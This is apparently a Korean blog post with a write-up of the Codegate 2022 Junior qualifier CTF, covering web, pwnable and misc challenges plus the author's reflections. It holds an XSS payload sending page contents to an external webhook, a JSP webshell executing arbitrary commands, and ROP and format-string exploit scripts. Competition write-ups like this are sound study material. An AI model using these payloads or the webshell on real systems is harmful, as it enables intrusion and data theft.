Sechack

Codegate 2022 Junior 예선 Write up + 후기 본문

CTF

Codegate 2022 Junior 예선 Write up + 후기

Sechack 2022. 2. 28. 00:18
반응형

말로만 듣던 코드게이트에 처음으로 참여해보았습니다. 포너블이 엄청 어려울줄 알고 예선 시작 1주일 전부터 Line CTF 2021, Hayyim CTF 2022에 출제되었던 포너블 문제들을 몇개 풀어봤는데 제 예상보다 훨씬 쉽게 나와서 빠른 시간안에 올클이 가능했습니다. 덕분에 대회 시작하고 얼마 안가서 2등까지 치고 올라갔었는데 저의 주요 분야인 Pwnable, Web을 올클하고나니까 풀게 없어졌습니다. Misc에 간단한 이진탐색 문제 있어서 그거까지 풀고 더이상은 못했습니다. 여러 분야를 두루두루 공부해놔야 할 필요성을 느꼈습니다. 리버싱도 하나 솔버 많던데 결국 풀진 못했습니다. 알고보니 루틴만 찾으면 z3날먹 문제였는데;;;;;; 본선때까지 리버싱 열심히 공부해서 Pwnable, Web, Revresing을 주 분야로 만들어야겠네요.

 

 

 

 

Write up 시작

 

Web

 

ohmypage

 

 

search페이지에서 xss가 터집니다. 근데 document.cookie를 해보면 아무것도 나오지 않습니다. 따라서 일반적인 방법으로는 쿠키 탈취가 불가능합니다.

 

 

사이트의 기능 중에 오른쪽 상단에 보면 Account라는 기능이 있고 해당 메뉴를 클릭해보면 /mypage로 리다이렉트 됩니다. guest로 표시가 되는데 쿠키값을 한번 보면

 

 

id가 guest입니다. 그러면 이 쿠키값을 admin으로 변경하면

 

 

mypage의 내용도 바뀝니다. 쿠키에서 id의 값을 가져와서 화면에 표시하는것 같았습니다. 그럼 이 기능을 이용하면 document.cookie없이도 서버 쿠키를 탈취할 수 있게 되고 fetch를 이용해서 mypage로 요청 보낸다음 응답받은 html코드들을 post로 webhook으로 전송하는 페이로드를 작성했습니다.

 

fetch("/mypage").then((res) => res.text()).then((data) => fetch('https://webhook.site/c9047ec4-8e8d-4c9a-9bb6-72b62a5aca7b', {method: 'post',body: JSON.stringify({data:data})}))

 

최종적으로 아래와 같이 report를 보냈습니다.

 

http://3.38.235.13:8881/search?text=<script>fetch("/mypage").then((res) => res.text()).then((data) => fetch('https://webhook.site/c9047ec4-8e8d-4c9a-9bb6-72b62a5aca7b', {method: 'post',body: JSON.stringify({data:data})}))</script>

 

 

webhook으로 mypage의 html코드가 왔고 여기 안에 플래그가 있습니다.

 

 

imageboard

 

 

 

사이트에 처음 들어가면 가입을 하라 뜨고 가입을 하면

 

 

이런식으로 글을 쓸 수 있습니다.

 

 

title, content, image file 3가지 요소가 있습니다. 처음엔 여기서 xss가 터지길래 ssti인줄 알고 2시간 넘게 ssti트리거하려고 뻘짓했습니다.

 

 

처음에 가입을 하고 난 후에 메인 페이지에서 HTML을 보면 밑에 github주소가 있습니다. 여기서 소스코드를 볼 수 있습니다. 그리고 왜인진 모르겠지만 filedownload.jsp가 아무것도 반환하지 않아서 파일을 올려도 불러와지진 않았습니다. 아무튼 여러 소스파일이 있는데 문제를 푸는데 있어서 핵심적인 부분만 보면

 

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="EUC-KR"%>
<%@ page import="com.oreilly.servlet.MultipartRequest"  %>
<%@ page import="com.oreilly.servlet.multipart.DefaultFileRenamePolicy" %>
<%@ page import="java.util.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.text.SimpleDateFormat" %>
<%@ page import="java.util.Calendar" %>
<%@ page import="java.util.Date" %>
<%@ page import="codegate.board.BoardDAO" %>
<%@ page import="codegate.board.BoardVO" %>
<%@ page import="codegate.Util" %>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>kuberaBoard</title>
</head>
<%
String user = (String)session.getAttribute("user");
if(user == null) {
	response.sendRedirect("/codegate/index.jsp");
	return;
}
		
		String savePath = "/usr/local/tomcat/webapps/codegate/upload";
		
		SimpleDateFormat dtf = new SimpleDateFormat("yyyyMMddHHmmss");
		Calendar calendar = Calendar.getInstance();
		int size=10*1024*1024;
	
		Date dateObj = calendar.getTime();
		String formattedDate = dtf.format(dateObj);
		MultipartRequest multi = new MultipartRequest(request, savePath, size, "utf-8", new DefaultFileRenamePolicy());
		
		BoardVO vo = new BoardVO();
		BoardDAO dao = new BoardDAO();
		
		String title = multi.getParameter("title");
		String content = multi.getParameter("content");
		if(title.trim().isEmpty() || content.trim().isEmpty() )
		{
			out.print("<script> alert('Please enter a title or content.'); history.back(); </script>");
			return;
		}
		
		
		Enumeration uploadFiles = multi.getFileNames();
		
		if(!uploadFiles.hasMoreElements()){
			out.print("<script> alert('NO data'); history.back(); </script>");
			return;
		}
		
		String filename = (String)uploadFiles.nextElement();
		filename = multi.getFilesystemName(filename);
		if(filename==null){
			out.print("<script> alert('No image attached.'); history.back(); </script>");
			return;	
		}
		File file = new File(savePath +"/"+ filename);
		file.renameTo(new File(savePath +"/"+ formattedDate+ user + filename));
		
		try{
			vo.setTitle(title);
			vo.setContent(content);
			vo.setPath(savePath +"/"+ formattedDate + user + filename);
			vo.setUser((String)session.getAttribute("user"));
			dao.insertBoard(vo);
			
			out.print("<script> alert('Upload Complete.'); location.href='/codegate/boardMain.jsp'; </script>");
			
			
		}catch(Exception e){
			out.print("<script> alert('Failed to create thumbnail. Please use a different image file.'); history.back(); </script>");
		}
%>
<body>
</body>
</html>

 

게시물을 업로드할때 요청이 가고 실질적인 백엔드 기능을 수행하는 boardRegSuccess.jsp소스코드입니다. 먼저 파일이 저장되는 경로가 /usr/local/tomcat/webapps/codegate/upload이기 때문에 /codegate/upload/<filename>으로 접근하면 우리가 원하는 파일을 볼 수 있겠구나 라고 생각했습니다. 파일 이름을 생성하는 로직을 보면 현재 시간 + username + filename으로 하고 있습니다. 현재 시간을 저장하는 포맷이 yyyyMMddHHmmss니까 값은 초단위로 바뀌게 됩니다. 처음에는 UTC시간 기준인줄 알고 brute force로 접근했습니다.

 

import requests
import time

s = requests.Session()

url = "http://3.38.226.32/codegate/"
cookie = {"JSESSIONID":"1F5CEF0BBB628E235F03146AA56EEB41"}
username = "bbbbbbbb"

def writeboard():
    file = {'file':("jshell.jsp", open("./jshell.jsp", "rb").read(), 'application/octet-stream')}
    data = {"title":"Sechack", "content":"Sechack"}
    res = s.post(url+"boardRegSuccess.jsp", files=file, data=data, cookies=cookie)
    print(res.text)

writetime = int(time.strftime('%Y%m%d%H%M%S', time.gmtime()))
writeboard()

while(True):
    res = s.post(url+"upload/"+str(writetime)+username+"jshell.jsp")
    print(res.status_code)
    if res.status_code != 404:
        print("great", writetime)
    writetime += 1

 

서버 딜레이 때문에 어느정도 시간 오차가 있는걸 감안하고 while문 만들어서 한두번 반복 돌면 나오겠지 라고 생각했는데 계속 404에러가 나오길래 UTC시간이 아닌걸 알게되었습니다.

 

 

그리고 일반적인 response헤더는 위와 같이 패킷이 만들어진 시간 정보를 담고 있는 Date헤더를 가지고 있다는 것을 알게되었습니다. 따라서 저걸 이용해서 풀이했습니다.

 

<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>

 

jsp webshell은 대충 구글링해서 가져왔습니다.

 

 

jsp webshell파일을 위와같이 업로드 한 후에

 

 

 

 

응답 헤더를 보면 Date가 있고 저기 있는 시간 값을 그대로 쓰면 최종적으로 파일 이름은

 

20220227134106aaaaaaaajshell.jsp

 

이렇게 되고 /codegate/upload/20220227134106aaaaaaaajshell.jsp 경로에 접근하게 되면

 

 

RCE를 트리거할 수 있습니다.

 

 

 

 

Pwnable

 

 

Gift

 

 

point가 매우 많으면 flag를 살 수 있습니다.

 

 

3번 메뉴에 point를 얻을 수 있는 기능들이 있습니다. 그중 up_down_point함수에서 logical bug가 터집니다.

 

 

여기서 else쪽을 보면 위의 분기문과는 다르게 2 * v2의 값을 point에서 빼주고 있습니다.

 

 

v2변수의 자료형은 int이고 입력도 %d로 받기 때문에 음수도 입력할 수 있습니다. 만약에 v2가 음수라면 "point - 음수" 꼴로 되어버리니까 결과적으론 덧셈이 되어버립니다.

 

 

인풋 검증도 단순히 v2가 point보다 큰지만 검사하고 있어서 음수는 마음대로 입력할 수 있게 됩니다. else로 빠지려면 v3은 0을 입력해주면 됩니다. logical bug로 인해서 point를 매우 크게 만들 수 있습니다.

 

 

 

Dino diary

 

 

 

4가지 메뉴가 있습니다.

 

 

modify_command함수를 보면 우리가 comment number을 선택한다음 check_index함수로 넣어서 check_index함수의 return값 만큼 read함수의 size로 설정합니다.

 

 

check_index함수를 보면 해당 comment number로 comment에 접근해서 comment의 길이만큼 return해줍니다. write_comment 함수에서 0x14byte만큼만 작성할 수 있게 제한해서 원래같으면 0x14보다 큰 값을 return할 수 없는데 check_index로 넘어가는 comment number을 입력받을때 아무런 검증을 하지 않습니다. 심지어 자료형도 int라서 음수도 입력이 가능합니다.

 

 

따라서 strlen의 인자로 이렇게 긴 데이터들이 있는 곳을 넣어주면 size를 크게 설정할 수 있고 Stack Buffer Overflow가 가능하게 됩니다.

 

from pwn import *

#r = process("./Dino_diary")
r = remote("52.78.171.46", 8080)

pop_rdi = 0x400f93
puts_plt = 0x4006a0
puts_got = 0x603020

r.sendlineafter("memu: ", "2")
r.sendlineafter("number: ", "-32")

r.sendafter("comment: ", b"a"*0x18+p64(0)+b"a"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x400E11))

leak = u64(r.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc_base = leak - 0x80aa0
system = libc_base + 0x4f550
binsh = libc_base + 0x1b3e1a
print(hex(libc_base))

r.sendlineafter("memu: ", "2")
r.sendlineafter("number: ", "-32")

r.sendafter("comment: ", b"a"*0x18+p64(0)+b"a"*8+p64(pop_rdi)+p64(binsh)+p64(pop_rdi+1)+p64(system))

r.interactive()

 

위와 같이 ROP기법을 이용해서 exploit할 수 있습니다.

 

 

 

cat tail

 

 

 

chdir함수로 경로를 설정하고

 

 

해당 경로에서 파일 리스트를 볼 수 있고 파일 내용을 읽을 수 있고 파일의 권한을 확인할 수 있는 기능이 있습니다. 하지만 flag파일은 프로그램 내에서 검증을 해서 읽지 못하도록 하고 있습니다.

 

 

취약점은 권한 체크 함수인 check_permissions함수에서 터집니다. 이 함수는 정확히는 이 프로그램에서 파일을 읽을 수 있는지 출력하는 프로그램입니다. 따라서 flag파일은 false가 출력됩니다.

 

 

여길 보면 printf가 서식지정자 없이 단독으로 호출되는것을 볼 수 있습니다. make_green_block함수를 보면

 

 

단순히 터미널을 꾸며주는 바이트코드를 우리가 입력한 버퍼랑 붙여주고 있습니다. 따라서 fsb가 가능합니다. 하지만 이 함수에서 자체적으로 malloc을 해서 그 주소를 return하고 있기 때문에 heap에서 fsb가 일어납니다. heap이나 전역변수에서 일어나는 fsb는 double staged fsb기법을 사용해서 exploit할 수 있습니다. 일단 libc와 stack을 leak하고 stack에서 addr1 -> addr2꼴인 주소를 찾아서 addr2가 return address를 가리키게 수정한 후에 rtl payload를 stack에 적어서 exploit했습니다.

 

from pwn import *

#r = process("./cat_tail")
r = remote("3.39.67.50", 5334)

def chkpm(payload):
    r.sendlineafter(">>> ", "3")
    r.sendafter(">>> ", payload)

def fsb(data, offset):
    fsb = ("%{}c".format(data)).encode()
    fsb += ("%{}$hn".format(offset)).encode()
    chkpm(fsb)

def clear():
    r.sendafter("Press Enter to Continue...", "a")

chkpm("%43$p")

r.recvuntil("Your Input: \x1b[32m")
leak = int(r.recv(14), 16)
libc_base = leak - 0x270b3
system = libc_base + 0x55410
binsh = libc_base + 0x1b75aa
print(hex(leak))

clear()
chkpm("%24$p")
r.recvuntil("Your Input: \x1b[32m")

stack1 = int(r.recv(14), 16)
clear()
chkpm("%38$p")
r.recvuntil("Your Input: \x1b[32m")
stack2 = int(r.recv(14), 16)
ret = int(hex(stack2+8)[-4:], 16) - 13
print(hex(stack1))
print(hex(stack2))
print(hex(ret))

clear()

fsb(ret, 24)
clear()

pop_rdi = 0x401e53

fsb((pop_rdi & 0xffff) - 5, 38)
clear()
fsb(ret+2, 24)
clear()
r.sendlineafter(">>> ", "3")
r.sendafter(">>> ", "%59c%38$n")
clear()

fsb(ret+8, 24)
clear()
fsb((binsh & 0xffff) - 5, 38)
clear()
fsb(ret+10, 24)
clear()
fsb(((binsh & 0xffff0000) >> 16) - 5, 38)
clear()
fsb(ret+12, 24)
clear()
fsb(((binsh & 0xffff00000000) >> 32) - 5, 38)
clear()

fsb(ret+16, 24)
clear()
fsb((system & 0xffff) - 5, 38)
clear()
fsb(ret+18, 24)
clear()
fsb(((system & 0xffff0000) >> 16) - 5, 38)
clear()
fsb(ret+20, 24)
clear()
fsb(((system & 0xffff00000000) >> 32) - 5, 38)
clear()

fsb(int(hex(stack2+8)[-4:], 16) - 21, 24)
clear()

r.sendlineafter(">>> ", "4")

r.interactive()

 

 

 

 

mungchistack

 

이 문제는 살짝 어거지로 푼것같습니다. sleep이 떡칠되어있어서 바이너리패치 할까도 생각해봤지만 귀찮아서 그냥 익스 테스트하는데 진짜 답답해서 미칠것 같았습니다.

 

 

main함수를 보면 thread를 생성합니다. mungchi함수가 메인 루틴이라는걸 알 수 있습니다.

 

 

mungchi함수를 보면 위에 checkEvent함수가 있고 그 아래에 3가지 기능이 있습니다.

3가지 기능은 단순히 satiety, clean, happy전역변수에 특정 연산을 수행하는것 뿐입니다.

 

 

checkEvent함수를 보면 3개의 전역변수가 모두 조건을 만족했을때 eventCall함수를 호출합니다. 조건을 맞춰주는건 어렵게 생각할 필요 없이 3가지 기능을 각각 7번씩 사용하면 맞춰집니다.

 

 

이 함수에서는 먼저 정수를 입력받습니다. 입력받은 정수는 v5변수로 들어갑니다. 그리고 v7[v5 - 1]을 setName함수로 넘겨줍니다.

 

 

setName함수에서는 NAME_LENGTH함수만큼 입력을 받고 있습니다.

 

NAME_LENGTH의 값은 0x1000입니다.

 

 

다시 취약한 부분으로 돌아와 보면 우리가 입력한 정수가 v5변수로 들어가는데 v5변수는 int형입니다. 따라서 음수 입력이 가능하고 v5가 2보다 작을 경우에 setNameg함수로 v7[v5 - 1]을 넘겨주고 이말은 즉 v7변수의 주소보다 작은 주소에 저장되어 있는 주소를 아무거나 가져와서 입력할 수 있다는 것이다. 0을 입력하면 v7[-1]이 되게 되는데 이때 0x1000byte를 꽉채워서 입력 보냈을때 bof가 터졌습니다. canary가 있지만 thread stack이기 때문에 master canary가 저장되어있는 TLS영역과 인접한 주소에 있습니다. 따라서 0x1000byte를 꽉채워서 입력을 보내게 되면 master canary가 덮이기 때문에 canary를 bypass할 수 있습니다.

 

ROP를 약간 어거지로 했는데 그 이유가 일단 libc leak하고 다시 메인 루틴으로 돌아가자니 sleep때문에 그건 싫고 그렇다고 setName으로 돌아가니까 두번째 input에서 rip변조가 안되고 해서 그냥 한번에 GOT Overwrite해서 끝내기로 했습니다. rdx를 컨트롤할 가젯이 딱히 없는것 같았는데 rdx는 어차피 큰 값이니까 rdi, rsi만 조작해서 read불러서 /bin/sh넣고 puts got덮은다음 system부르니까 stack에 dummy data가 너무 많아서 그런지 movaps instruction이 아닌 다른곳에서 주소 참조하다가 터지는거였습니다. 그래서 execve쓰기로 하고 rdx를 0으로 맞춰줘야 하니까 처음에는 malloc(0)을 불러서 rdx를 0으로 세팅하려 했습니다. 근데 malloc도 이상한데서 터져서 약간 고민하다가 csu까지 끌어서 써서 rop payload를 작성했습니다.

 

from pwn import *

#r = process("./mungchistack")
r = remote("3.39.32.143", 5333)

def feed():
    r.sendlineafter(">>> ", "1")

def play():
    r.sendlineafter(">>> ", "2")

def toilet():
    r.sendlineafter(">>> ", "3")

r.sendafter("Press enter to continue... ", "\n")

pop_rdi = 0x401d53
pop_rsi_r15 = 0x401d51
puts_plt = 0x401180
read_plt = 0x4011e0
puts_got = 0x404028

for i in range(7):
    feed()
    play()
    toilet()

r.sendlineafter(">>> ", "0")
r.sendafter(">>> ", b"a"*0x68+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(0x4040B0)+p64(0)+p64(read_plt)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(puts_got)+p64(0)+p64(read_plt)+p64(0x401D4A)+p64(0)+p64(1)+p64(0x4040B0)+p64(0)*2+p64(puts_got)+p64(0x401D30)+b"a"*0x8d8)

leak = u64(r.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc_base = leak - 0x875a0
execve = libc_base + 0xe62f0
print(hex(libc_base))

sleep(0.1)
r.send(b"/bin/sh\x00")
sleep(0.1)
r.send(p64(execve))

r.interactive()

 

 

 

 

Misc

 

 

 

nc만 주길래 접속해봤더니 up-down게임이라고 뜹니다. 1부터 1000000000000까지의 숫자중에 프로그램이 생성한 숫자를 up-down게임으로 맞추면 되는데 제한시간이 5초입니다. 따라서 up-down게임을 하는데 가장 효율적인 Binary search algorithm을 사용해서 풀면 됩니다. 한번이 아니라 여러번 하길래 2중 반복문 돌렸습니다.

 

from pwn import *

r = remote("52.79.50.189", 4321)

r.sendlineafter("> ", "y")

num = 500000000000
diff = 500000000000

while(True):
    while(True):
        r.sendlineafter("guess : ", str(num))
        res = r.recvline().strip()
        if b"UP!" in res:
            diff //= 2
            num += diff
            print("up")
            print(num)
            print("diff", diff)
            if diff == 0:
                num += 1
        elif b"DOWN!" in res:
            diff //= 2
            num -= diff
            print("down")
            print(num)
            print("diff", diff)
            if diff == 0:
                num -= 1
        else:
            print(res)
            break
    num = 500000000000
    diff = 500000000000

r.interactive()

 

 

exploit을 실행하면 약간의 기다림 끝에 플래그를 얻을 수 있습니다.

 

 

 

 

이번 Codegate2022 Junior 예선은 생각했던것보다 난이도가 낮고 top20에만 들어도 본선에 갈 수 있어서 마음놓고 했던것 같습니다. 초반에 포너블 어려울줄알고 포너블 붙잡고 밤샐생각에 약간의 긴장 + 초집중 했는데 생각보다 빠르게 올클을 해버려서 잠도 넉넉하게 자고 게임도 좀 하면서 놀다가 문제 풀다가 했던것 같습니다. 저번 핵챔때도 예선은 순한맛 본선은 매운맛이던데 이번에도 그럴것같네요. 아무튼 본선까진 조금 남았으니까 리버싱 열심히 공부해서 할 수 있는 분야를 더 많이 만들어야겠습니다.

반응형
Comments